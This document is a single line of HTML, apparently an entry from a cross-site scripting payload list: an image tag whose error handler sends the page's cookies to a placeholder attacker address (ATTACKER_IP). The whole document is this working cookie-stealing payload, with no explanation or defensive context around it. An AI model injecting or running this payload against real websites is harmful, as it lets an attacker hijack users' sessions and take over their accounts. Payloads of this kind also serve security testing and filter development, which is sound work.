<img src=x onerror=this.src='http://ATTACKER_IP/?c='+document.cookie>